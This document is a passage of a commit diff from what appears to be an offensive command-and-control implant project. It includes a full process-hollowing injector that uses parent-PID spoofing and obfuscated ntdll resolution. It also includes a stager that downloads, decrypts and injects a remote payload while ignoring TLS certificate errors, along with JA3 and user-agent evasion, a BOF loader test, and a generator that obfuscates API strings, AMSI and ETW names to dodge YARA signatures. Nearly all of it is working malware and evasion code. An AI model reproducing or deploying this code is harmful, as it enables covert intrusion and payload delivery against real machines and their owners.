snprintf(out, outsz, "[socks] not running\n");
return -1;
}
InterlockedExchange(&g_running, 0);
if (g_listen != INVALID_SOCKET) {
closesocket(g_listen);
g_listen = INVALID_SOCKET;
}
if (g_thread) {
WaitForSingleObject(g_thread, 3000);
CloseHandle(g_thread);
g_thread = NULL;
}
snprintf(out, outsz, "[socks] stopped\n");
return 0;
}
int socks_running(void) { return (int)g_running; }
+313
View File
@@ -0,0 +1,313 @@
#include <windows.h>
#include "peb_walk.h"
#include "evs_strings.h"
#include <winternl.h>
#include <tlhelp32.h>
#include <bcrypt.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
/* NT function typedefs */
typedef NTSTATUS (NTAPI *NtUnmapViewOfSection_t)(HANDLE ProcessHandle,
PVOID BaseAddress);
typedef NTSTATUS (NTAPI *NtCreateSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle);
typedef NTSTATUS (NTAPI *NtMapViewOfSection_t)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
ULONG InheritDisposition, /* 2 = ViewUnmap */
ULONG AllocationType,
ULONG Win32Protect);
typedef NTSTATUS (NTAPI *NtQIP_t)(HANDLE, ULONG, PVOID, ULONG, PULONG);
#ifndef SEC_COMMIT
# define SEC_COMMIT 0x8000000
#endif
static DWORD _find_pid(const wchar_t *name)
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
DWORD pid = 0;
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return pid;
}
static LPPROC_THREAD_ATTRIBUTE_LIST _make_parent_attr(HANDLE hParent, SIZE_T *out_sz)
{
SIZE_T sz = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &sz);
LPPROC_THREAD_ATTRIBUTE_LIST al = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(sz);
if (!al) return NULL;
if (!InitializeProcThreadAttributeList(al, 1, 0, &sz)
|| !UpdateProcThreadAttribute(al, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(hParent), NULL, NULL)) {
free(al); return NULL;
}
*out_sz = sz;
return al;
}
static void *_rva(const void *base, DWORD rva) {
return (BYTE *)base + rva;
}
int hollow_inject(const uint8_t *pe_buf, size_t pe_len)
{
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)pe_buf;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
const IMAGE_NT_HEADERS64 *nt =
(const IMAGE_NT_HEADERS64 *)(pe_buf + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
if (nt->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) return -1;
DWORD ep_rva = nt->OptionalHeader.AddressOfEntryPoint;
SIZE_T img_size = nt->OptionalHeader.SizeOfImage;
LPVOID preferred = (LPVOID)nt->OptionalHeader.ImageBase;
/* pick target: notepad.exe or dllhost.exe randomly */
static const wchar_t *TARGETS[] = {
L"%SystemRoot%\\System32\\notepad.exe",
L"%SystemRoot%\\System32\\dllhost.exe",
};
uint8_t pick = 0;
BCryptGenRandom(NULL, &pick, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
wchar_t target[MAX_PATH];
ExpandEnvironmentStringsW(TARGETS[pick & 1], target, MAX_PATH);
/* create suspended target with PPID spoofed to explorer.exe */
DWORD ppid = _find_pid(L"explorer.exe");
HANDLE hParent = ppid
? OpenProcess(PROCESS_CREATE_PROCESS, FALSE, ppid)
: NULL;
SIZE_T attr_sz = 0;
LPPROC_THREAD_ATTRIBUTE_LIST attr = hParent
? _make_parent_attr(hParent, &attr_sz)
: NULL;
STARTUPINFOEXW siex;
memset(&siex, 0, sizeof(siex));
siex.StartupInfo.cb = sizeof(siex);
siex.lpAttributeList = attr;
DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
if (attr) flags |= EXTENDED_STARTUPINFO_PRESENT;
PROCESS_INFORMATION pi = {0};
if (!CreateProcessW(NULL, target, NULL, NULL, FALSE,
flags, NULL, NULL, (LPSTARTUPINFOW)&siex, &pi)) {
if (attr) { DeleteProcThreadAttributeList(attr); free(attr); }
if (hParent) CloseHandle(hParent);
return -2;
}
if (attr) { DeleteProcThreadAttributeList(attr); free(attr); }
if (hParent) CloseHandle(hParent);
/* resolve NT functions from ntdll */
char _dn[10];
EVS_D(_dn, EVS_dll_ntdll);
HMODULE ntdll = _peb_module(_dn);
SecureZeroMemory(_dn, sizeof(_dn));
char _fn[26];
EVS_D(_fn, EVS_fn_NtUnmapViewOfSection);
NtUnmapViewOfSection_t NtUnmap = (NtUnmapViewOfSection_t)GetProcAddress(ntdll, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
EVS_D(_fn, EVS_fn_NtCreateSection);
NtCreateSection_t NtCSec = (NtCreateSection_t)GetProcAddress(ntdll, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
EVS_D(_fn, EVS_fn_NtMapViewOfSection);
NtMapViewOfSection_t NtMapVw = (NtMapViewOfSection_t)GetProcAddress(ntdll, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
EVS_D(_fn, EVS_fn_NtQueryInformationProcess);
NtQIP_t NtQIP = (NtQIP_t)GetProcAddress(ntdll, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
if (!NtCSec || !NtMapVw || !NtUnmap) goto kill;
/* unmap original target image */
NtUnmap(pi.hProcess, preferred);
HANDLE hSection = NULL;
LARGE_INTEGER sec_sz;
sec_sz.QuadPart = (LONGLONG)img_size;
if (NtCSec(&hSection, SECTION_ALL_ACCESS, NULL, &sec_sz,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL) < 0)
goto kill;
/* ---- Map into target process at preferred base ---- */
LPVOID remote_view = preferred;
SIZE_T view_sz = 0;
NTSTATUS st = NtMapVw(hSection, pi.hProcess, &remote_view,
0, 0, NULL, &view_sz,
2 /* ViewUnmap */, 0, PAGE_EXECUTE_READWRITE);
if (st < 0) {
/* preferred base taken, let kernel pick */
remote_view = NULL;
view_sz = 0;
st = NtMapVw(hSection, pi.hProcess, &remote_view,
0, 0, NULL, &view_sz,
2, 0, PAGE_EXECUTE_READWRITE);
if (st < 0) { CloseHandle(hSection); goto kill; }
}
/* map into current process RW for writing */
LPVOID local_view = NULL;
view_sz = 0;
if (NtMapVw(hSection, GetCurrentProcess(), &local_view,
0, 0, NULL, &view_sz,
2 /* ViewUnmap */, 0, PAGE_READWRITE) < 0) {
NtUnmap(pi.hProcess, remote_view);
CloseHandle(hSection);
goto kill;
}
/* build PE image in local view */
uint8_t *img = (uint8_t *)local_view;
/* copy headers */
memcpy(img, pe_buf, nt->OptionalHeader.SizeOfHeaders);
/* copy sections */
IMAGE_NT_HEADERS64 *lnt = (IMAGE_NT_HEADERS64 *)(img + dos->e_lfanew);
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(lnt);
for (WORD i = 0; i < lnt->FileHeader.NumberOfSections; i++, sec++) {
if (!sec->SizeOfRawData) continue;
SIZE_T copy_sz = sec->SizeOfRawData < sec->Misc.VirtualSize
? sec->SizeOfRawData : sec->Misc.VirtualSize;
memcpy(img + sec->VirtualAddress,
pe_buf + sec->PointerToRawData,
copy_sz);
}
/* fix base relocations */
INT64 delta = (INT64)remote_view - (INT64)nt->OptionalHeader.ImageBase;
if (delta) {
IMAGE_DATA_DIRECTORY *rd =
&lnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (rd->Size) {
IMAGE_BASE_RELOCATION *blk =
(IMAGE_BASE_RELOCATION *)_rva(img, rd->VirtualAddress);
while (blk->VirtualAddress && blk->SizeOfBlock >= sizeof(*blk)) {
DWORD cnt = (blk->SizeOfBlock - sizeof(*blk)) / sizeof(WORD);
WORD *ent = (WORD *)((BYTE *)blk + sizeof(*blk));
for (DWORD j = 0; j < cnt; j++) {
if ((ent[j] >> 12) == IMAGE_REL_BASED_DIR64) {
INT64 *p = (INT64 *)_rva(img,
blk->VirtualAddress + (ent[j] & 0xFFF));
*p += delta;
}
}
blk = (IMAGE_BASE_RELOCATION *)((BYTE *)blk + blk->SizeOfBlock);
}
}
}
/* resolve imports */
IMAGE_DATA_DIRECTORY *id =
&lnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (id->Size) {
IMAGE_IMPORT_DESCRIPTOR *imp =
(IMAGE_IMPORT_DESCRIPTOR *)_rva(img, id->VirtualAddress);
while (imp->Name) {
HMODULE hmod = LoadLibraryA((char *)_rva(img, imp->Name));
if (!hmod) {
NtUnmap(GetCurrentProcess(), local_view);
CloseHandle(hSection);
goto kill;
}
IMAGE_THUNK_DATA64 *iat =
(IMAGE_THUNK_DATA64 *)_rva(img, imp->FirstThunk);
IMAGE_THUNK_DATA64 *orig = imp->OriginalFirstThunk
? (IMAGE_THUNK_DATA64 *)_rva(img, imp->OriginalFirstThunk)
: iat;
while (orig->u1.AddressOfData) {
FARPROC fn;
if (IMAGE_SNAP_BY_ORDINAL64(orig->u1.Ordinal))
fn = GetProcAddress(hmod,
(LPCSTR)IMAGE_ORDINAL64(orig->u1.Ordinal));
else {
IMAGE_IMPORT_BY_NAME *ibn =
(IMAGE_IMPORT_BY_NAME *)_rva(img,
(DWORD)orig->u1.AddressOfData);
fn = GetProcAddress(hmod, ibn->Name);
}
if (!fn) {
NtUnmap(GetCurrentProcess(), local_view);
CloseHandle(hSection);
goto kill;
}
iat->u1.Function = (ULONGLONG)fn;
iat++; orig++;
}
imp++;
}
}
/* Update ImageBase in in-memory headers */
lnt->OptionalHeader.ImageBase = (ULONGLONG)remote_view;
/* Unmap local alias — shared section keeps data visible in target view */
NtUnmap(GetCurrentProcess(), local_view);
CloseHandle(hSection);
/* ---- Update PEB.ImageBaseAddress (single 8-byte write, negligible EDR signal) ---- */
if (NtQIP) {
PROCESS_BASIC_INFORMATION pbi = {0};
NtQIP(pi.hProcess, 0, &pbi, sizeof(pbi), NULL);
if (pbi.PebBaseAddress)
WriteProcessMemory(pi.hProcess,
(BYTE *)pbi.PebBaseAddress + 0x10,
&remote_view, sizeof(PVOID), NULL);
}
/* ---- Redirect entry point ---- */
CONTEXT ctx;
memset(&ctx, 0, sizeof(ctx));
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx)) goto kill;
ctx.Rip = (DWORD64)remote_view + ep_rva;
if (!SetThreadContext(pi.hThread, &ctx)) goto kill;
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
kill:
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return -9;
}
+130
View File
@@ -0,0 +1,130 @@
#include <windows.h>
#include <winhttp.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "crypto.h"
#include "stager_config.h"
/* Defined in hollow.c */
extern int hollow_inject(const uint8_t *pe_buf, size_t pe_len);
/* XOR deobfuscation of config values */
static void _cfg_decode(const unsigned char *src, size_t len, char *dst)
{
for (size_t i = 0; i < len; i++)
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
dst[len] = '\0';
}
/* download URL into malloc'd buffer */
static uint8_t *_http_get(const char *url, size_t *out_len)
{
*out_len = 0;
wchar_t url_w[512] = {0};
MultiByteToWideChar(CP_UTF8, 0, url, -1, url_w, 512);
wchar_t host[256] = {0}, path[512] = {0};
URL_COMPONENTS uc = {
.dwStructSize = sizeof(uc),
.lpszHostName = host, .dwHostNameLength = 256,
.lpszUrlPath = path, .dwUrlPathLength = 512,
};
if (!WinHttpCrackUrl(url_w, 0, 0, &uc)) return NULL;
BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
HINTERNET hS = WinHttpOpen(L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hS) return NULL;
HINTERNET hC = WinHttpConnect(hS, host, port, 0);
if (!hC) { WinHttpCloseHandle(hS); return NULL; }
HINTERNET hR = WinHttpOpenRequest(hC, L"GET", path,
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
secure ? WINHTTP_FLAG_SECURE : 0);
if (!hR) { WinHttpCloseHandle(hC); WinHttpCloseHandle(hS); return NULL; }
if (secure) {
DWORD opts = SECURITY_FLAG_IGNORE_UNKNOWN_CA
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hR, WINHTTP_OPTION_SECURITY_FLAGS, &opts, sizeof(opts));
}
WinHttpSetTimeouts(hR, 30000, 30000, 30000, 30000);
if (!WinHttpSendRequest(hR, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hR, NULL)) {
WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
return NULL;
}
uint8_t *buf = NULL;
size_t len = 0;
DWORD avail;
while (WinHttpQueryDataAvailable(hR, &avail) && avail > 0) {
uint8_t *tmp = realloc(buf, len + avail);
if (!tmp) break;
buf = tmp;
DWORD nread = 0;
WinHttpReadData(hR, buf + len, avail, &nread);
len += nread;
}
WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
if (buf) *out_len = len;
return buf;
}
/* entry point */
int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show)
{
(void)h; (void)hp; (void)cmd; (void)show;
/* decode staging URL */
char url[512] = {0};
_cfg_decode(CFG_STAGE_URL, CFG_STAGE_URL_LEN, url);
/* decode ChaCha20 key */
uint8_t key[CHACHA20_KEY_SIZE] = {0};
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
key[i] = CFG_STAGE_KEY[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN];
/* download encrypted stage */
size_t blob_len = 0;
uint8_t *blob = _http_get(url, &blob_len);
if (!blob) return 1;
/* wire format: nonce(12) | ciphertext | tag(16) */
if (blob_len < CHACHA20_NONCE_SIZE + POLY1305_TAG_SIZE + 64) {
free(blob); return 1;
}
const uint8_t *nonce = blob;
size_t ct_len = blob_len - CHACHA20_NONCE_SIZE - POLY1305_TAG_SIZE;
const uint8_t *ct = blob + CHACHA20_NONCE_SIZE;
const uint8_t *tag = blob + CHACHA20_NONCE_SIZE + ct_len;
uint8_t *pe = (uint8_t *)malloc(ct_len);
if (!pe) { free(blob); return 1; }
int rc = chacha20_poly1305_decrypt(key, nonce, ct, ct_len, tag, pe);
SecureZeroMemory(key, sizeof(key));
SecureZeroMemory(blob, blob_len);
free(blob);
if (rc != 0) { free(pe); return 1; }
/* Inject into suspended notepad.exe */
rc = hollow_inject(pe, ct_len);
SecureZeroMemory(pe, ct_len);
free(pe);
return (rc == 0) ? 0 : 1;
}
+61
View File
@@ -0,0 +1,61 @@
#include "util.h"
#include <stdlib.h>
#ifndef HTTP_ONLY
#include <curl/curl.h>
#ifndef CURLSSLOPT_NATIVE_CA
#define CURLSSLOPT_NATIVE_CA (1<<4)
#endif
#endif /* HTTP_ONLY */
/* ---- User-Agent rotation ---- */
static const char *k_ua[] = {
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
};
#define UA_COUNT (sizeof(k_ua) / sizeof(k_ua[0]))
const char *random_ua(void)
{
return k_ua[rand() % UA_COUNT];
}
#ifndef HTTP_ONLY
/* ---- JA3 hardening ---- */
void curl_apply_opsec(CURL *curl)
{
/* TLS 1.3 ciphers — Chrome order */
curl_easy_setopt(curl, CURLOPT_TLS13_CIPHERS,
"TLS_AES_128_GCM_SHA256:"
"TLS_AES_256_GCM_SHA384:"
"TLS_CHACHA20_POLY1305_SHA256");
/* TLS 1.2 ciphers — Chrome order */
curl_easy_setopt(curl, CURLOPT_SSL_CIPHER_LIST,
"ECDHE-ECDSA-AES128-GCM-SHA256:"
"ECDHE-RSA-AES128-GCM-SHA256:"
"ECDHE-ECDSA-AES256-GCM-SHA384:"
"ECDHE-RSA-AES256-GCM-SHA384:"
"ECDHE-ECDSA-CHACHA20-POLY1305:"
"ECDHE-RSA-CHACHA20-POLY1305:"
"ECDHE-RSA-AES128-SHA:"
"ECDHE-RSA-AES256-SHA:"
"AES128-GCM-SHA256:"
"AES256-GCM-SHA384:"
"AES128-SHA:"
"AES256-SHA");
/* Windows native cert store — no curl-ca-bundle.crt on disk */
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_OPTIONS, (long)CURLSSLOPT_NATIVE_CA);
}
#endif /* HTTP_ONLY */
+23
View File
@@ -0,0 +1,23 @@
// test BOF: DLL$Function convention + BeaconPrintf
// compile: gcc -c bof_hello.c -o bof_hello.o
#include <windows.h>
void BeaconPrintf(int type, const char *fmt, ...);
// DLL$Function — loader strips prefix and resolves from named dll
BOOL ADVAPI32$GetUserNameA(LPSTR buf, LPDWORD sz);
DWORD KERNEL32$GetCurrentProcessId(void);
void go(char *args, int len)
{
(void)args; (void)len;
char user[256] = {0};
DWORD usersz = (DWORD)sizeof(user);
ADVAPI32$GetUserNameA(user, &usersz);
DWORD pid = KERNEL32$GetCurrentProcessId();
BeaconPrintf(0, "[BOF] Hello from KHAOS BOF loader!\n");
BeaconPrintf(0, "[BOF] User: %s | PID: %lu\n", user, (unsigned long)pid);
}
+170
View File
@@ -0,0 +1,170 @@
// standalone harness: loads a COFF .o, b64-encodes it, runs cmd_bof()
// build: gcc -O0 -Iinclude tests/test_bof.c bof.o -o test_bof.exe -lkernel32 -ladvapi32
// run: test_bof.exe tests/bof_hello.o
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <windows.h>
#include "bof.h"
#include "adv_lazy.h"
// stub for _bp_is_admin shim in bof.o
const adv_api_t *adv_get(void)
{
static adv_api_t a;
static int init = 0;
if (!init) {
HMODULE adv = LoadLibraryA("advapi32.dll");
if (adv) {
a.OpenProcessToken = (void *)GetProcAddress(adv, "OpenProcessToken");
a.AdjustTokenPrivileges = (void *)GetProcAddress(adv, "AdjustTokenPrivileges");
a.DuplicateTokenEx = (void *)GetProcAddress(adv, "DuplicateTokenEx");
a.ImpersonateLoggedOnUser = (void *)GetProcAddress(adv, "ImpersonateLoggedOnUser");
a.LogonUserA = (void *)GetProcAddress(adv, "LogonUserA");
a.LookupPrivilegeNameA = (void *)GetProcAddress(adv, "LookupPrivilegeNameA");
a.LookupPrivilegeValueA = (void *)GetProcAddress(adv, "LookupPrivilegeValueA");
a.OpenThreadToken = (void *)GetProcAddress(adv, "OpenThreadToken");
a.RevertToSelf = (void *)GetProcAddress(adv, "RevertToSelf");
a.CloseServiceHandle = (void *)GetProcAddress(adv, "CloseServiceHandle");
a.EnumServicesStatusExA = (void *)GetProcAddress(adv, "EnumServicesStatusExA");
a.OpenSCManagerA = (void *)GetProcAddress(adv, "OpenSCManagerA");
a.OpenServiceA = (void *)GetProcAddress(adv, "OpenServiceA");
a.QueryServiceConfigA = (void *)GetProcAddress(adv, "QueryServiceConfigA");
}
init = 1;
}
return &a;
}
// required by bof.o — must match signature in crypto.h
static const int DEC[256] = {
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,
52,53,54,55,56,57,58,59,60,61,-1,-1,-1, 0,-1,-1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,
-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
};
uint8_t *base64_decode(const char *str, size_t *out_len)
{
if (!str) { if (out_len) *out_len = 0; return NULL; }
size_t slen = strlen(str);
if (slen == 0) { if (out_len) *out_len = 0; return (uint8_t *)calloc(1, 1); }
size_t pad = 0;
if (slen >= 1 && str[slen-1] == '=') { pad++; slen--; }
if (slen >= 1 && str[slen-1] == '=') { pad++; slen--; }
size_t dlen = (slen * 3) / 4;
uint8_t *out = (uint8_t *)malloc(dlen + 1);
if (!out) { if (out_len) *out_len = 0; return NULL; }
size_t i = 0, o = 0;
while (i + 3 < slen + pad) {
unsigned char c0 = (i < slen) ? (unsigned char)str[i] : 0;
unsigned char c1 = (i+1 < slen) ? (unsigned char)str[i+1] : 0;
unsigned char c2 = (i+2 < slen) ? (unsigned char)str[i+2] : 0;
unsigned char c3 = (i+3 < slen) ? (unsigned char)str[i+3] : 0;
int v0 = DEC[c0], v1 = DEC[c1], v2 = DEC[c2], v3 = DEC[c3];
if (v0 < 0 || v1 < 0) break;
uint32_t triple = ((uint32_t)v0 << 18) | ((uint32_t)v1 << 12)
| ((uint32_t)(v2 >= 0 ? v2 : 0) << 6)
| (uint32_t)(v3 >= 0 ? v3 : 0);
if (o < dlen) out[o++] = (uint8_t)((triple >> 16) & 0xff);
if (o < dlen && (i+2 < slen)) out[o++] = (uint8_t)((triple >> 8) & 0xff);
if (o < dlen && (i+3 < slen)) out[o++] = (uint8_t)(triple & 0xff);
i += 4;
}
out[o] = '\0';
if (out_len) *out_len = o;
return out;
}
static const char ENC[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static char *b64_encode(const uint8_t *data, size_t len)
{
size_t out_len = 4 * ((len + 2) / 3) + 1;
char *out = (char *)malloc(out_len);
if (!out) return NULL;
size_t i, o = 0;
for (i = 0; i + 2 < len; i += 3) {
out[o++] = ENC[(data[i] >> 2) & 0x3f];
out[o++] = ENC[((data[i] & 3) << 4) | (data[i+1] >> 4)];
out[o++] = ENC[((data[i+1] & 0xf)<< 2) | (data[i+2] >> 6)];
out[o++] = ENC[ data[i+2] & 0x3f];
}
if (i < len) {
out[o++] = ENC[(data[i] >> 2) & 0x3f];
if (i + 1 < len) {
out[o++] = ENC[((data[i] & 3) << 4) | (data[i+1] >> 4)];
out[o++] = ENC[(data[i+1] & 0xf) << 2];
} else {
out[o++] = ENC[(data[i] & 3) << 4];
out[o++] = '=';
}
out[o++] = '=';
}
out[o] = '\0';
return out;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: test_bof.exe <coff.o> [args_b64]\n");
return 1;
}
FILE *f = fopen(argv[1], "rb");
if (!f) {
fprintf(stderr, "[-] cannot open: %s\n", argv[1]);
return 1;
}
fseek(f, 0, SEEK_END);
long fsz = ftell(f);
rewind(f);
uint8_t *coff_raw = (uint8_t *)malloc((size_t)fsz);
if (!coff_raw) { fclose(f); return 1; }
fread(coff_raw, 1, (size_t)fsz, f);
fclose(f);
char *coff_b64 = b64_encode(coff_raw, (size_t)fsz);
free(coff_raw);
if (!coff_b64) { fprintf(stderr, "[-] b64_encode failed\n"); return 1; }
const char *args_b64 = (argc >= 3) ? argv[2] : NULL;
printf("[*] COFF: %s (%ld bytes, b64=%zu chars)\n", argv[1], fsz, strlen(coff_b64));
printf("[*] Calling cmd_bof()...\n");
fflush(stdout);
char output[65536] = {0};
int ret = cmd_bof(coff_b64, args_b64, output, sizeof(output));
free(coff_b64);
printf("[*] cmd_bof() = %d\n", ret);
if (output[0])
printf("[*] BOF output:\n%s", output);
else
printf("[*] BOF output: (empty)\n");
return (ret == 0) ? 0 : 1;
}
+319
View File
@@ -0,0 +1,319 @@
#!/usr/bin/env python3
"""
Generate agent/include/evs_strings.h per-build random XOR key for all
API / DLL name obfuscation arrays. Replaces the hardcoded 0xba constant
that was a static YARA signature.
Run: python tools/gen_evs_strings.py
Called automatically by: make config
"""
import os
import secrets
# ── Master string table ────────────────────────────────────────────────────
# name → C identifier suffix (EVS_<suffix>)
STRINGS = {
# DLL names
"ntdll.dll": "dll_ntdll",
"kernel32.dll": "dll_kernel32",
"kernelbase.dll": "dll_kernelbase",
"xpsservices.dll": "dll_xpsservices",
"advapi32.dll": "dll_advapi32",
"amsi.dll": "dll_amsi",
"secur32.dll": "dll_secur32",
"netapi32.dll": "dll_netapi32",
"winhttp.dll": "dll_winhttp",
"gdi32.dll": "dll_gdi32",
"user32.dll": "dll_user32",
# Nt* syscall names (ntdll)
"NtOpenProcess": "fn_NtOpenProcess",
"NtAllocateVirtualMemory": "fn_NtAllocateVirtualMemory",
"NtWriteVirtualMemory": "fn_NtWriteVirtualMemory",
"NtProtectVirtualMemory": "fn_NtProtectVirtualMemory",
"NtCreateThreadEx": "fn_NtCreateThreadEx",
"NtClose": "fn_NtClose",
"NtOpenThread": "fn_NtOpenThread",
"NtSuspendThread": "fn_NtSuspendThread",
"NtResumeThread": "fn_NtResumeThread",
"NtGetContextThread": "fn_NtGetContextThread",
"NtSetContextThread": "fn_NtSetContextThread",
"NtQueueApcThread": "fn_NtQueueApcThread",
"NtCreateSection": "fn_NtCreateSection",
"NtMapViewOfSection": "fn_NtMapViewOfSection",
"NtUnmapViewOfSection": "fn_NtUnmapViewOfSection",
"NtReadVirtualMemory": "fn_NtReadVirtualMemory",
"NtQueryInformationProcess": "fn_NtQueryInformationProcess",
"NtContinue": "fn_NtContinue",
"NtWaitForSingleObject": "fn_NtWaitForSingleObject",
# ntdll helpers / ETW
"RtlCaptureContext": "fn_RtlCaptureContext",
"RtlUserThreadStart": "fn_RtlUserThreadStart",
"EtwEventWrite": "fn_EtwEventWrite",
"EtwTiLogOpenProcess": "fn_EtwTiLogOpenProcess",
"EtwTiLogReadWriteVm": "fn_EtwTiLogReadWriteVm",
"EtwTiLogDuplicateHandle": "fn_EtwTiLogDuplicateHandle",
# AMSI (amsi.dll)
"AmsiScanBuffer": "fn_AmsiScanBuffer",
"AmsiScanString": "fn_AmsiScanString",
# advapi32.dll
"AdjustTokenPrivileges": "fn_AdjustTokenPrivileges",
"DuplicateTokenEx": "fn_DuplicateTokenEx",
"ImpersonateLoggedOnUser": "fn_ImpersonateLoggedOnUser",
"LogonUserA": "fn_LogonUserA",
"LookupPrivilegeNameA": "fn_LookupPrivilegeNameA",
"LookupPrivilegeValueA": "fn_LookupPrivilegeValueA",
"OpenProcessToken": "fn_OpenProcessToken",
"OpenThreadToken": "fn_OpenThreadToken",
"RevertToSelf": "fn_RevertToSelf",
"CloseServiceHandle": "fn_CloseServiceHandle",
"EnumServicesStatusExA": "fn_EnumServicesStatusExA",
"OpenSCManagerA": "fn_OpenSCManagerA",
"OpenServiceA": "fn_OpenServiceA",
"QueryServiceConfigA": "fn_QueryServiceConfigA",
"RegisterServiceCtrlHandlerA":"fn_RegisterServiceCtrlHandlerA",
"SetServiceStatus": "fn_SetServiceStatus",
"StartServiceCtrlDispatcherA":"fn_StartServiceCtrlDispatcherA",
